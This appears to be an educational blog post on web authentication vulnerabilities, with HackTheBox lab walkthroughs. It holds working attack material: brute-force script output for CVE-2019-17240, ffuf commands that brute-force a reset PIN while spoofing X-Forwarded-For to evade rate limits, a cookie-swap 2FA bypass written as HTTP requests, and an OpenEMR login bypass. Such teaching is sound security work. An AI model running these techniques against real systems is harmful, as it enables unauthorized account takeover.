For this applied review, we are going to go through authentication, which is an important part of securing your web applications.
This is not meant to be comprehensive of all kinds of possible authentication issues because that would take forever. Instead, this is meant to be an introduction to authentication issues and a showcase of a few examples that might help you develop your own methodology.
What is Authentication?#
Authentication is the process of verifying the identity of a user or client. Websites are often exposed to the public and need a way to safeguard information in a robust and effective way.
There are three types of authentication:
- Something you know
- Something you have
- Something you are
Before we hop into an example, let’s go over possible confusion between authentication and authorization.
Authentication and Authorization#
Authentication is the process of verifying that a user is who they are claiming to be. Authorization is determining whether or not a user is allowed to perform a certain action.
For example, if you go to a liquor store in the US and go to pay, you will be asked to present a government ID to the cashier. The cashier will then authenticate that your appearance and the photo on the ID are similar enough to determine that the ID belongs to you. Then the cashier reads the date of birth on the ID and if your age meets or exceeds the required age, you are then authorized to purchase the liquor.
This uses two types of authentication:
- Something you are, in the form of your appearance matching the photo on the ID
- Something you have, in the sense that you needed to have obtained the ID to provide to the cashier
Impacts of Authentication Vulnerabilities#
Vulnerable authentication can take many forms, an attacker might be able to brute-force their way into another user’s account and if that user happens to be an administrator the attacker could gain access to internal infrastructure or exfiltrate important data.
Even compromising a low-privileged account might still grant an attacker access to data that they otherwise shouldn’t have, such as commercially sensitive business information. Even if the account does not have access to any sensitive data, it might still allow the attacker to access additional pages, which provide a further attack surface.
How Do These Vulnerabilities Arise?#
Most of the vulnerable authentication mechanisms can be traced back to one of two things:
- Failure to protect against brute-forcing
- Logic flaws or poor implementation that allows an attacker to completely bypass the authentication. This is also called broken authentication.
Websites often consist of multiple authentication mechanisms, each of which may become vulnerable in different ways. We are going to look into authentication vulnerabilities in three different contexts:
- Password-based Login
- Multi-Factor Authentication
- Other Authentication Mechanisms
Vulnerabilities in Password-Based Login#
Websites that adopt password-based logins, users either register for an account themselves or have an account assigned by an administrator. Accounts are usually associated with a unique username and password.
The password in this case is meant to be kept secret as the something you know type of authentication. In this case, if an attacker gets the password by either guessing or brute-forcing, the website could be compromised.
A Dated Example: HTTP Basic Authentication#
This is an older version of authentication, but it might be good to talk through just in case you find it being used.
In HTTP basic authentication, the client receives an authentication token from the server - which is just the Base64 encoded username and password. This token would be stored and managed by the browser and would be in the Authorization header of subsequent requests.
You might be able to imagine that this isn’t really a secure method. It is pretty easy to catch someone else’s credentials with a MITM attack (if HSTS is not enabled) and it wouldn’t be too difficult to brute force the token’s contents because they static.
Brute-Force Attacks#
These attacks are probably something everyone has encountered with their smartphone or smart device. You might forget your password and try different ones until you get it right, but if you can only submit so many before you get locked out.
Account locking is a countermeasure to brute-forcing, and brute-forcing is just trying every possible password and/or username until you are able to log in.
Sometimes, you can fine-tune a brute-force attack based on the password policy or other information. Websites that use only password-based login need to make sure they they have adequately robust brute-force protections.
Brute-Forcing Usernames#
Usernames can be pretty easy to guess in some circumstances. For example, you go to a website and see a company email for an employee with the format firsname.lastname@domain.com. From that piece of information, you could reliably guess the username for most employees at the company if you know their name. Even if this isn’t the case there are sometimes default names like guest or administrator that are worth looking for.
Brute-Forcing Passwords#
Passwords can be brute-forced like anything else, but the difficulty depends on the strength of the password and the protections put in place.
Lots of websites have a password policy that force users to make high-entropy passwords, that are theoretically harder to crack.
Even with hard-to-crack passwords, human behavior can help us exploit vulnerabilities that users themselves create. People often take a password they already use or remember and try to get it to pass the password policy of whatever they are signing up for. This means that users might go from password to Password1!.
In some cases users need to change their password routinely and lots of users will just add a number or letter to the end like going from Password1! to Password1!111.
Username Enumeration#
Username enumeration is when an attacker is able to observe changes in the website’s behavior in order to identify whether a given username is valid. This is different than brute forcing because we aren’t guessing, we are observing the information.
This enumeration usually appears on the login page - for example if you log in with a real username and a bad password it might say 'Incorrect Password', but a fake username and bad password might produce a 'Login Failed' error message. This would allow you to trial-and-error your usernames.
When trying to get around a login page, pay close attention to the following:
- Status Codes: If a guess returns a different status code than the standard incorrect guess status code, then you might want to investigate it further. It is best practice to always return the same status code regardless of the outcome of a login attempt.
- Error Messages: Sometimes the returned error message is different depending on whether both the username AND password are incorrect or only the password was incorrect. It is best practice for websites to use identical, generic messages in both cases, but small typing errors sometimes creep in.
- Response Times: If most of the requests are handled with a similar response time, requests that deviate from this suggest that something different was happening behind the scenes. For example, a website might only check whether the password is correct if the username is valid, which might cause a slight increase in the response time.
Flawed Brute-Force Protection#
In order for us to brute-force a password or username, we may need to make thousands of incorrect guesses before we are right. Logically, the more difficult it is for us to brute-force a login the better, the two most common ways to prevent brute-force attacks are:
- Locking the account when a certain number of incorrect login attempts are made in a certain timeframe
- Blocking the remote user’s IP address if they make too many login attempts in quick succession.
While these both offer protection, neither one is perfect - especially if it is implemented with flawed logic.
For example, some implementations that block the remote user’s IP address will reset if another user from that IP successfully authenticates, which would mean an attacker just needs to log in with a real account every couple of tries.
You can also work around account locking if you are able to determine the number of attempts needed to cause a lockout. For example, if it takes three failed attempts to lock out a user, you could try three common passwords across every user you’ve enumerated and possibly get one of them to work without locking any accounts.
Account locking also does not protect against credential stuffing, which involves a dictionary of passwords taken from data breaches. It relies on the possibility of users re-using their passwords and you could take some of the most common passwords from a dump and try logging in to every account.
User Rate Limiting#
This is a prevention of brute-force attacks that blocks your IP address when you make too many login requests in a short period of time. Normally, you can only unblock your IP by:
- Waiting for the blocked time to run out
- Having an admin unlock your account
- Manually complete a CAPTCHA
This is slightly more robust than regular account locking but is still vulnerable to certain techniques like manipulating your apparent IP to bypass blocks. You can also get around some of these countermeasures if you are able to send multiple password attempts in a single request.
Quiz 1 - HTB Blunder#
This is an easy difficulty Linux machine on hack the box. You’ll notice an HTTP server hosting a web application and when doing some directory enumeration you’ll find the /admin endpoint that contains a login page and a /todo.txt endpoint that references a user named fergus.
The login page at /admin reveals the version number of the Bludit web application. We look up this version number, in this case 3.9.2 and see that it is vulnerable to an authentication brute force mitigation bypass exploit with CVE-2019-17240.
There is a useful exploit on ExploitDB that I used. I made a wordlist called users.txt that contained just fergus and I generated a wordlist with cewl like this:
╰─ cewl http://10.129.109.53/ > cewl.txt
The cewl program will crawl through a web page and use keywords found in the page source to determine which passwords might be used there.
Then we can run the exploit we downloaded:
╰─ python3 brute-force.py -l http://10.129.109.53/admin/login -u users.txt -p cewl.txt
[*] Bludit Auth BF Mitigation Bypass Script by ColdFusionX
[└] Brute Force: Testing -> fergus:CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
[▆] Brute Force: Testing -> fergus:the
[q] Brute Force: Testing -> fergus:Load
[▆] Brute Force: Testing -> fergus:Plugins
---SNIP---
[p] Brute Force: Testing -> fergus:probably
[▆] Brute Force: Testing -> fergus:best
[d] Brute Force: Testing -> fergus:fictional
[▘] Brute Force: Testing -> fergus:character
[┤] Brute Force: Testing -> fergus:RolandDeschain
[*] SUCCESS !!
[+] Use Credential -> fergus:RolandDeschain
Now, this is a bit strange - we just spent a bunch of time talking about how to find these vulnerabilities and how they work, but all we did was run a script. That doesn’t feel very rewarding, so let’s actually talk in more detail about why this works.
This blog post from VK9 Security does a fantastic job explaining how this vulnerability works but I will try to summarize it. Bludit utilizes a function called getUserIp() that checks the X-Forwarded-For and Client-IP headers in the request. This is meant to determine the IP address of the end-user, but it is easy to just change the IP address in those headers.
No validation of the IP addresses we submit are done, which means that we can just use an arbitrary IP in those values and switch it every request and we won’t be locked out.
The only thing we need to add is our session cookie and the CSRF token from the current request to the subsequent brute-force attempts and we can brute force logins.
Quiz 2 - HTB Timing#
This is a medium-difficulty Linux machine where we need to enumerate usernames by using response times. Like mentioned before, sometimes the application will taker longer to process a request with a real user than a fake one, and if we can pick up on that we might be able to take advantage of it.
We enumerate open ports and find a web application and are greeted with a login page. When we capture a login request in Burp Suite it looks like this:

Take note of the response time here being only 31 milliseconds. When we try a likely default username like admin, we see a difference in the response time:

We see the response time greatly increased, and this is relatively consistent across dozens of requests and responses.
Earlier in this machine we can use directory traversal to read the /etc/passwd file that gives us a few usernames. Well, only two of those users have a shell and you don’t really need to brute-force anything for it to work but I will demonstrate how anyway.
First, you want to send your login request to the Burp Intruder to configure the attack. Select the username and make it a payload position, and use the Sniper attack type, because we are only changing one payload.
In the payloads tab, select a list of usernames you’d like to use and add the names from the /etc/passwd file. Then, make sure to create a new resource pool with the maximum concurrent requests set to 1. This is because we need to analyze the difference in response times and having concurrent request would make this really difficult (if not impossible).
Once you’ve started the attack, view the columns for response and request times and look for the ones with larger response times.

This little attack showcases what enumerating usernames by response times might look like.
Vulnerabilities in Multi-Factor Authentication#
Lots of websites rely exclusively on single-factor authentication but some sites require users to prove their identity using multiple authentication factors.
Providing something you are like a biometric is impractical for most websites. It is more and more common to see websites provide and or require 2FA based on something you know or something you have.
While it is sometimes possible for an attacker to obtain a single knowledge-based factor, such as a password, being able to simultaneously obtain another factor from an out-of-band source is considerably less likely. For this reason, two-factor authentication is demonstrably more secure than single-factor authentication.
Poorly implemented two-factor authentication can be beaten, or even bypassed entirely, just as single-factor authentication can.
It is important to keep in mind that the full benefits of MFA are only present when you make sure to verify multiple different factors. Verifying two things someone knows isn’t really true 2FA.
Tokens and Codes#
Verification codes are often read by the user from a physical device of some kind. Some sites provide the user with a physical dedicated device like a yubi key It is also common for sites to implement other applications for authentication like google authenticator.
On the other hand, some websites send verification codes to a user’s mobile phone as a text message. While this is technically still verifying the factor of something you have, you can still tamper with it because the message is sent by SMS. You may also need to deal with the risk of SIM swapping attacks and other mobile based-attacks.
Bypassing 2FA#
Sometimes, the implementation of 2FA is flawed to the point where it can be bypassed entirely. Let’s go through some examples.
Simple Bypass#
Let’s imagine a login page where a user inputs a password and then a verification code on a separate page. Once the user submits the correct password, they are in a pseudo-logged-in state before they enter the code.
In this instance, it may be worth looking to see if you can just look at the ’logged-in’ only pages without using the 2FA code.
Flawed Logic#
Sometimes flawed logic will just mean that the user won’t have to do both verification steps.
For example, let’s imagine the user first logs in with their credentials:
POST /login/first HTTP/1.1
Host: vulnerable.com
---SNIP---
username=gabe&password=nevergonnagiveyouup
The user is assigned a cookie that relates to their account, before they are moved to the second step of the process.
HTTP/1.1 200 OK
Set-Cookie: account=gabe
GET /login/second HTTP/1.1
Cookie: account=gabe
When submitting the verification code on the second page, the cookie is used to determine which account the user is trying to access:
POST /login/second HTTP/1.1
Host: vulnerable.com
Cookie: account=gabe
...
verification-code=133701
In this case, an attacker could legitimately log in but change the cookie value to authenticate as another user:
POST /login/second HTTP/1.1
Host: vulnerable.com
Cookie: account=victim-user
...
verification-code=133701
This is extremely dangerous if the attacker is then able to brute-force the verification code as it would allow them to log in to arbitrary users’ accounts based entirely on their username. They would never even need to know the user’s password.
Brute-Forcing#
Just like with passwords earlier, sites need to prepare for potential brute-forcing of 2FA codes. This is even more important if the codes are short numbers, because brute forcing those would be trivial.
Some websites attempt to prevent this by automatically logging a user out if they enter a certain number of incorrect verification codes. This is ineffective if the attacker can just automate their process.
Quiz 3 - HTB Altered#
This is a hard difficulty Linux machine where we can find a login page on a website. We can try to log in with a random username and password:

The login page tells us if usernames are valid, but it also does this for correct usernames with the incorrect password. Let’s try the ‘forgot password’ option:

But when we use a real username like admin, we are asked to input a reset code that was emailed to us:

Let’s look at the request in Burp Suite:

We can try to brute-force the pin code from here, but unless you have Burp Professional, that will take a long time so we can use FFuF instead:
╰─ ffuf -w ~/../../usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -u "http://10.129.227.109/api/resettoken" -d "name=admin&pin=FUZZ" -H "Cookie: XSRF-TOKEN=eyJpdiI6IlhFY25hTjF1T01BWC84MG8yRUdpZmc9PSIsInZhbHVlIjoicFo1S3F3OHV5STZQV2lKRjJycjZRN2Z2ZEd6MHN2MzgrSHZsOW8zMEhVR2ZzWWVMeXZuMituQzB5SlcvUE5VYjFFWFc3akpBcjJIc0ZvSTFJS3VreGd2aEhvVlZ4NnJxWENHWW01N2tmVy85bXZ5VE0rYUxRL3Z1SUFJaEg4a04iLCJtYWMiOiI4MGFlMmQwYjFhNGJkODc2NmE4YTFiNzU4ZDM5YTAzYjJhMjBhYjZjZDlhYzI4ZmMzZTI2MzBmM2I3NTE3ODgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlVVEo3VWltZ0RiazMyWTdMRlQ1THc9PSIsInZhbHVlIjoiOFZjK1NaZzVBTml5K0ZMOEFuR0pjUkNmYUNhVHVuWDIyMVBjQ2VaNkhIeGxtSmFCWDRPbS9zWDI0ZFQwRXNoMm1MUGhGZ3ZPU1doSDNsaHFpVlB2ZnNZTjRtRWJrdGlqeW5sc2RUaVRvVnJkVzl1RWlHQ2syZmgxMDBCUHJZd2giLCJtYWMiOiI5NGU0ZWUyYzIzNmM1NDgxMWRjODU0MWIzYTdlOWUwZDdmZTBjODlkOWU3ZjAyODg4MTAwYzk3M2Y1OTFlZmFkIiwidGFnIjoiIn0%3D"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.227.109/api/resettoken
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt
:: Header : Cookie: XSRF-TOKEN=eyJpdiI6IlhFY25hTjF1T01BWC84MG8yRUdpZmc9PSIsInZhbHVlIjoicFo1S3F3OHV5STZQV2lKRjJycjZRN2Z2ZEd6MHN2MzgrSHZsOW8zMEhVR2ZzWWVMeXZuMituQzB5SlcvUE5VYjFFWFc3akpBcjJIc0ZvSTFJS3VreGd2aEhvVlZ4NnJxWENHWW01N2tmVy85bXZ5VE0rYUxRL3Z1SUFJaEg4a04iLCJtYWMiOiI4MGFlMmQwYjFhNGJkODc2NmE4YTFiNzU4ZDM5YTAzYjJhMjBhYjZjZDlhYzI4ZmMzZTI2MzBmM2I3NTE3ODgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlVVEo3VWltZ0RiazMyWTdMRlQ1THc9PSIsInZhbHVlIjoiOFZjK1NaZzVBTml5K0ZMOEFuR0pjUkNmYUNhVHVuWDIyMVBjQ2VaNkhIeGxtSmFCWDRPbS9zWDI0ZFQwRXNoMm1MUGhGZ3ZPU1doSDNsaHFpVlB2ZnNZTjRtRWJrdGlqeW5sc2RUaVRvVnJkVzl1RWlHQ2syZmgxMDBCUHJZd2giLCJtYWMiOiI5NGU0ZWUyYzIzNmM1NDgxMWRjODU0MWIzYTdlOWUwZDdmZTBjODlkOWU3ZjAyODg4MTAwYzk3M2Y1OTFlZmFkIiwidGFnIjoiIn0%3D
:: Data : name=admin&pin=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
0035 [Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 42ms]
0036 [Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 45ms]
0025 [Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 47ms]
0011 [Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 49ms]
0037 [Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 54ms]
---SNIP---
That’s weird, earlier we were seeing 200 response codes telling us the code was wrong, and now we are being redirected. Let’s try in the browser and investigate:

We’ve been countered! They must be rate-limiting us when we try to brute force the reset code, but we have a trick up our sleeve.
Let’s just add an X-Forwarded-For header to our request and make it seem like each request is coming from a different IP address. The site shouldn’t trust our headers blindly, but sometimes they do. Let’s give it a try:
We make a list of IP addresses and brute force the second position, but then I just get a bunch of 302 responses:
╰─ ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt:FUZZ1 -u "http://10.129.227.109/api/resettoken" -d "name=admin&pin=FUZZ1" -H "Cookie: XSRF-TOKEN=eyJpdiI6InhQb3IwSW9LVDBMTlltQ0xIbFZvNGc9PSIsInZhbHVlIjoiZWFyTDFUL244WFU2eXd3aU1DU0FiT3RPM2dGaEczUW1tZ1RSeTBrcmIzRTVjYmhjM3M3WDR3eXowQWk0Mm5Ca080WTRpZ2FtQitSZW1ndkRjbEx1ZDdqWTlIRktBNGhhY0UvQ2RjTUhVWUhTejlUZ05JUkUxYzBMZ3Q0K2lqcDQiLCJtYWMiOiJmM2M3NTZmN2JiNWE2MmRiNWFiYTkyMGYyMDkxNjQzYjQ3MjZiMjAzYTZjYmMxMDg5ODcwY2E3OGJhYmZmNWI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlMNkVpaUFhSGlrVEEwb3JvMythWnc9PSIsInZhbHVlIjoiMmEwbVlDcTB3UFRtbVBLNEN1Y2hJSHh5Tzk4VWN6Q3ozRXljZlF0OFdhOGl2TWlkVjJZUDBhQXBkM0tRR3piai85RjJ3bFVVSkRQVDFVaU85SDAxbG51MDRiRnNQWFFKaEs1MTBqVnlVMmhWQW9QaGVCRjRMVGtwUGlxZzArZG8iLCJtYWMiOiI3NDA0MWVjOGJjYThmMjc3ZjA3NTFmNTlkOGY1YmZiNWI2MzdiYzdjYmM5NDk1OTBjZDUwYzg4NmJjNzZkYzhiIiwidGFnIjoiIn0%3D" -w ips.txt:FUZZ2 -H "X-Forwarded-For:FUZZ2" -c -mode pitchfork
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.227.109/api/resettoken
:: Wordlist : FUZZ1: /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt
:: Wordlist : FUZZ2: /home/kali/Desktop/HTB/Machines/Hard/Altered/ips.txt
:: Header : Cookie: XSRF-TOKEN=eyJpdiI6InhQb3IwSW9LVDBMTlltQ0xIbFZvNGc9PSIsInZhbHVlIjoiZWFyTDFUL244WFU2eXd3aU1DU0FiT3RPM2dGaEczUW1tZ1RSeTBrcmIzRTVjYmhjM3M3WDR3eXowQWk0Mm5Ca080WTRpZ2FtQitSZW1ndkRjbEx1ZDdqWTlIRktBNGhhY0UvQ2RjTUhVWUhTejlUZ05JUkUxYzBMZ3Q0K2lqcDQiLCJtYWMiOiJmM2M3NTZmN2JiNWE2MmRiNWFiYTkyMGYyMDkxNjQzYjQ3MjZiMjAzYTZjYmMxMDg5ODcwY2E3OGJhYmZmNWI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlMNkVpaUFhSGlrVEEwb3JvMythWnc9PSIsInZhbHVlIjoiMmEwbVlDcTB3UFRtbVBLNEN1Y2hJSHh5Tzk4VWN6Q3ozRXljZlF0OFdhOGl2TWlkVjJZUDBhQXBkM0tRR3piai85RjJ3bFVVSkRQVDFVaU85SDAxbG51MDRiRnNQWFFKaEs1MTBqVnlVMmhWQW9QaGVCRjRMVGtwUGlxZzArZG8iLCJtYWMiOiI3NDA0MWVjOGJjYThmMjc3ZjA3NTFmNTlkOGY1YmZiNWI2MzdiYzdjYmM5NDk1OTBjZDUwYzg4NmJjNzZkYzhiIiwidGFnIjoiIn0%3D
:: Header : X-Forwarded-For: FUZZ2
:: Data : name=admin&pin=FUZZ1
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 45ms]
* FUZZ1: 0000
* FUZZ2: 10.10.0.0
[Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 51ms]
* FUZZ1: 0008
* FUZZ2: 10.10.0.8
[Status: 302, Size: 354, Words: 60, Lines: 12, Duration: 48ms]
* FUZZ1: 0005
* FUZZ2: 10.10.0.5
---SNIP---
If we look closer when we fail a pin code, the site tells us to make sure we use the same browser. Let’s include the browser in our header:
╰─ ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt:FUZZ1 -u "http://10.129.227.109/api/resettoken" -d "name=admin&pin=FUZZ1" -H "Cookie: XSRF-TOKEN=eyJpdiI6InhQb3IwSW9LVDBMTlltQ0xIbFZvNGc9PSIsInZhbHVlIjoiZWFyTDFUL244WFU2eXd3aU1DU0FiT3RPM2dGaEczUW1tZ1RSeTBrcmIzRTVjYmhjM3M3WDR3eXowQWk0Mm5Ca080WTRpZ2FtQitSZW1ndkRjbEx1ZDdqWTlIRktBNGhhY0UvQ2RjTUhVWUhTejlUZ05JUkUxYzBMZ3Q0K2lqcDQiLCJtYWMiOiJmM2M3NTZmN2JiNWE2MmRiNWFiYTkyMGYyMDkxNjQzYjQ3MjZiMjAzYTZjYmMxMDg5ODcwY2E3OGJhYmZmNWI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlMNkVpaUFhSGlrVEEwb3JvMythWnc9PSIsInZhbHVlIjoiMmEwbVlDcTB3UFRtbVBLNEN1Y2hJSHh5Tzk4VWN6Q3ozRXljZlF0OFdhOGl2TWlkVjJZUDBhQXBkM0tRR3piai85RjJ3bFVVSkRQVDFVaU85SDAxbG51MDRiRnNQWFFKaEs1MTBqVnlVMmhWQW9QaGVCRjRMVGtwUGlxZzArZG8iLCJtYWMiOiI3NDA0MWVjOGJjYThmMjc3ZjA3NTFmNTlkOGY1YmZiNWI2MzdiYzdjYmM5NDk1OTBjZDUwYzg4NmJjNzZkYzhiIiwidGFnIjoiIn0%3D" -w ips.txt:FUZZ2 -H "X-Forwarded-For:FUZZ2" -c -mode pitchfork --fs 354 -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" --fs 5650
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.227.109/api/resettoken
:: Wordlist : FUZZ1: /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt
:: Wordlist : FUZZ2: /home/kali/Desktop/HTB/Machines/Hard/Altered/ips.txt
:: Header : Cookie: XSRF-TOKEN=eyJpdiI6InhQb3IwSW9LVDBMTlltQ0xIbFZvNGc9PSIsInZhbHVlIjoiZWFyTDFUL244WFU2eXd3aU1DU0FiT3RPM2dGaEczUW1tZ1RSeTBrcmIzRTVjYmhjM3M3WDR3eXowQWk0Mm5Ca080WTRpZ2FtQitSZW1ndkRjbEx1ZDdqWTlIRktBNGhhY0UvQ2RjTUhVWUhTejlUZ05JUkUxYzBMZ3Q0K2lqcDQiLCJtYWMiOiJmM2M3NTZmN2JiNWE2MmRiNWFiYTkyMGYyMDkxNjQzYjQ3MjZiMjAzYTZjYmMxMDg5ODcwY2E3OGJhYmZmNWI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlMNkVpaUFhSGlrVEEwb3JvMythWnc9PSIsInZhbHVlIjoiMmEwbVlDcTB3UFRtbVBLNEN1Y2hJSHh5Tzk4VWN6Q3ozRXljZlF0OFdhOGl2TWlkVjJZUDBhQXBkM0tRR3piai85RjJ3bFVVSkRQVDFVaU85SDAxbG51MDRiRnNQWFFKaEs1MTBqVnlVMmhWQW9QaGVCRjRMVGtwUGlxZzArZG8iLCJtYWMiOiI3NDA0MWVjOGJjYThmMjc3ZjA3NTFmNTlkOGY1YmZiNWI2MzdiYzdjYmM5NDk1OTBjZDUwYzg4NmJjNzZkYzhiIiwidGFnIjoiIn0%3D
:: Header : X-Forwarded-For: FUZZ2
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Data : name=admin&pin=FUZZ1
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 5650
________________________________________________
[Status: 200, Size: 5372, Words: 1191, Lines: 139, Duration: 719ms]
* FUZZ1: 2346
* FUZZ2: 10.10.9.87
Now we can try the 2346 code in the browser and it works. We are able to reset the admin’s password:

Then, we just need to log in as the admin:

In this lab, we successfully found a username and were able to bypass a brute-force protection for the password-reset code functionality.
Vulnerabilities in Other Authentication Mechanisms#
We can dive into some other supplementary functions that relate to authentication and walk through how they could become vulnerable.
In addition to just logging you in, lots of websites have password reset functionalities and cookies that help you stay logged in for longer.
Let’s talk about some of those functions in more detail and how they could be exploited.
Keeping Users Logged In#
When you log into a lot of sites, they let you say logged in after closing a browser session. This could be something like a remember me for thirty days or keep me logged in check box on the login page.
This is usually done by making a remember-me token of some kind that is stored as a persistent cookie, which is normally stored somewhere in the browser’s configuration files.
Because of this attribute, the persistent cookie could potentially allow an attacker to bypass the entire login process.
It is best practice for these cookies to be very difficult to guess, but some websites make these out of predictable, static values like a timestamp and a username.
You might be able to imagine how an attacker with their own account could reverse-engineer the cookie and use that information learned to try and brute force other cookies.
Even if the attacker can’t make an account, they might be able to exploit other techniques like XSS (Cross-Site-Scripting) to steal another user’s remember me token and reverse engineer it from there.
Resetting User Passwords#
Users will forget their password and you need a secure way for them to reset it. Because you can’t authenticate the user by their password in this scenario, you’ll need to use an alternative method.
This deviation from regular authentication makes it important to secure the implementation of a password reset functionality on a website. There are various ways that websites try to accomplish this.
Sending Passwords Using Email#
Sending users their current password at any time should not be possible if the website is storing and handling their password securely. Instead, some websites will generate a new password that you can use to log in and send it to your email address.
This can work well if the password is set to expire after a short time and forces the user to change their password after logging in with the new one. Otherwise, attackers who can see the content of those emails or other traffic may be able to use it to compromise that account.
Emails are generally considered insecure because they are often shared between devices and store emails in a very accessible, but insecure way.
Resetting Passwords Using a URL#
You might try sending users a unique URL that allows them to reset their password. Some implementations of this are less secure though if the URL is easy to guess. For example:
http://vulnerable.com/reset-password?user=gabe
An attacker would only need to know the username of another user to reset their password if this is how the reset pages are made.
A more robust approach will have you generate a hard to guess token and create a URL based on that, where the URL should provide no insight about which user’s password is being reset.
http://vulnerable.com/reset-password?token=2N0VPsgRaopUB7mLN8oZoKdZa65HVRlToycFWLwdE
When the user visits this URL, the web application should check whether or not the token already exists in the back-end and if it does, let the application know which user is not able to reset their password.
This token should expire quickly and be deleted after the password is reset. Some websites don’t validate the token again when the reset form us submitted though. This could allow an attacker to potentially visit the reset form on their account, then delete the token, and use the page to reset someone else’s password.
Changing User Passwords#
Because changing your password often requires the same functionality as login pages, they are vulnerable to most of the same techniques. If password changing pages are accessible without logging in, attackers may be able to take advantage of it.
For example, if an attacker is able to modify the hidden field that determines which user’s password is being changed, they might be able to use it to enumerate users and brute-force passwords.
Quiz 4 - HTB Cache#
This is a medium difficulty Linux machine where we need to look around a web application and find a web host that is hosting a hospital management system at hms.htb. If you run some directory enumeration, you’ll find a README.md in the /cloud endpoint that will identify the version of OpenEMR that is being used, which is version 5.
The document only shows us that the version is 5, which isn’t very precise. If you do some directory enumeration you’ll likely find the /admin.php endpoint which shows us the version number:

This version has an extensive vulnerability report that you can read through here, but we are mostly interested in the authentication bypass section.
The report states that if we navigate to the registration page, then the edit-user page, it will allow us to bypass the login process all together.
So, when trying to visit the http://hms.htb/portal/add_edit_event_user.php page, I am redirected to a login page with an error message:

But, if we visit the http://hms.htb/portal/account/register.htb endpoint first, we will notice that we are assigned a session ID:

Then, when navigating back to the add_edit_event_user page we are authenticated and able to book visits.

This is just a brief example of bypassing authentication when the website assigns a loggen-in type cookie when we visited the registration page.
This machine includes hash-cracking and SQL injection steps, and I highly suggest trying to build off of the last applied review and try this machine on your own.
Quiz 5 - HTB Extension#
This machine is a hard difficulty Linux machine and it requires us to do some dumping of password hashes so that we can crack those hashes and login. Once we are logged in, we can take advantage of an insecure way the website resets passwords to gain access to another account.
When you inspect the page on snippet.htb, you’ll find that it exposes a bunch of different endpoints, one of which is /management/dump.
To make a valid request, we can capture a login attempt and use the same POST request to query the /management/dump endpoint:

We can observe that this endpoint wants us to give it some more arguments, so we can use something like Ffuf to enumerate possible argument names.
First, we need to copy this request to a file and edit it so that Ffuf can actually look for the right argument name:
POST /management/dump HTTP/1.1
Host: snippet.htb
---SNIP---
Cookie: XSRF-TOKEN=eyJpdiI6InY1TlR5VlFKaE9GbmJlbXVrRmNpL3c9PSIsInZhbHVlIjoibVlsWEVOR>
{"FUZZ":"gabe@mail.com"}
Then, we can go ahead and enumerate possible arguments:
╰─ ffuf -request postrequest.req -request-proto http -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all --fr "Missing arguments"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://snippet.htb/management/dump
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web
----SNIP----
:: Data : {"FUZZ":"gabe@mail.com"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Missing arguments
________________________________________________
_method [Status: 404, Size: 6609, Words: 443, Lines: 37, Duration: 272ms]
download [Status: 400, Size: 42, Words: 2, Lines: 1, Duration: 647ms]
We specify that we want to use HTTP as our protocol, that we want to match all status codes, and we filter out all responses that contain the "Missing arguments" string.
